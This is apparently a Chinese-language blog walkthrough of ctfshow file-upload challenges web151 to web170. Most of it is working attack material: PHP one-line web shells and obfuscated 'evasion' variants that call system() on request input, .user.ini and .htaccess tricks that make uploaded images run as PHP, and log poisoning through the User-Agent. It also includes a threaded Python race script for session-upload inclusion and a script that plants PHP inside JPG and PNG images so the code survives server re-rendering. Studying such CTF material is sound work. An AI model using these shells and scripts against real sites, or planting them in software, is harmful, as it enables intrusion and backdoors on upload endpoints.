ctfshow-web入门-文件上传

/ 0评 / 0

web151(前端绕过)

payload1:前端关闭js验证或者修改js

payload2:burpsuite抓包png文件,修改为php后缀

web152(后端校验一)

payload同上

web153(后端校验二)

.htaccess和.user.ini配置文件(文件上传)

上传一个 .user.ini 文件,内容为
auto_prepend_file = 1.phtml

在上传一个 1.phtml 文件,内容为
<?php @eval($_POST[1]);?>

蚁剑链接 /upload/index.php 文件 getshell

web154(后端校验三)

类似同上,但是最后一句话的 php 改大小写 后端绕过

web155(短标签)

php中的几种常见风格的标签写法

<?php
    echo "123";
?>

<?=
    echo "123";
?>
<?
    echo "123";  // short_open_tag = On
?>

<%
    echo "123";// asp_tags = On  php_version<7.0
%>

<script language="php"> //php_version<7.0
    echo "123";
</script>

先上传 .user.ini文件,再上传短标签的一句话图片

web156({代替[)

[]  被过滤,可以用 {} 代替

其余步骤同上

web157(过滤{}和;)

不能在进行一句话木马,直接写

<?=
system("tac ../f*.ph*")
?>

访问 index.php 得到 flag

web158

同上

web159(反斜杆代替双引号)

双引号被过滤,使用反斜杠
<?=
`tac ../*`
?>

web160(日志包含)

先上传.user.ini文件
在上传一个 1.png 内容为
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
修改UA为 一句话木马
蚁剑连接

web161(GIF89a绕过)

在文件上方加上 GIF89a

web162(session包含)

大佬文章

.uer.ini  内容
GIF89a
auto_prepend_file=testfile


testfile  内容
GIF89a
<?="include/tmp/sess_test"?>

最后附上大佬的脚本

# coding=utf-8
import io
import requests
import threading

sessID = 'test'
url = 'http://b43dbc6d-3cb8-4817-9c42-ffae86f2af0c.chall.ctf.show/'

def write(session):
    while event.isSet():
        f = io.BytesIO(b'a' * 256 * 1)
        response = session.post(
            url,
            cookies={'PHPSESSID': sessID},
            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("nl ../*.php");?>'},
            files={'file': ('test.txt', f)}
        )

def read(session):
    while event.isSet():
        response = session.get(url + 'upload/index.php'.format(sessID))
        if 'flag' in response.text:
            print(response.text)
            event.clear()
        else:
            print('[*]retrying...')


if __name__ == '__main__':
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()

web163(session包含2)

payload同上

web164(二次渲染)

PHP imagecreatefrompng()函数
imagecreatefrompng() 返回一图像标识符,代表了从给定的文件名取得的图像。 

语法
imagecreatefrompng( string $filename) : resource

返回值
成功后返回图象资源,失败后返回 FALSE

Upload-Labs第Pass-16通关(二次渲染绕过) 详解

 二次渲染图片生成脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

web165(jpg二次渲染绕过)

jpg二次渲染脚本

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp =
                    substr($outStream, 0, $startPos) .
                    $miniPayload .
                    str_repeat("\0",$nullbytePayloadSize) .
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream =
                        substr($outStream, 0, $startPos) .
                        $miniPayload .
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

先上传一个1.jpg文件,再下载下来使用 php exp .php 2.png 再上传2.png

web166(zip解析上传)

先上传一个带有一句话的zip文件包

访问 /upload/download.php

POST 解析命令(1=system('tac ../flag.php');)

web167(Apache局部变量)

Apache局部变量解析漏洞

.haaccess

SetHandler application/x-httpd-php

再上传一句话jpg文件

蚁剑连接

web168(免杀)

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

web169(免杀-日志包含)

<> 和 php 被过滤,可以上传 .user.ini

再上传一个 1.php(内容为空,UA为一句话) 文件 蚁剑连接

web170(免杀-日志包含-SESSION)

先上传 .user.ini

再上传一个空文件

最后session包含条件竞争

注:169-170解法可互换

发表评论

电子邮件地址不会被公开。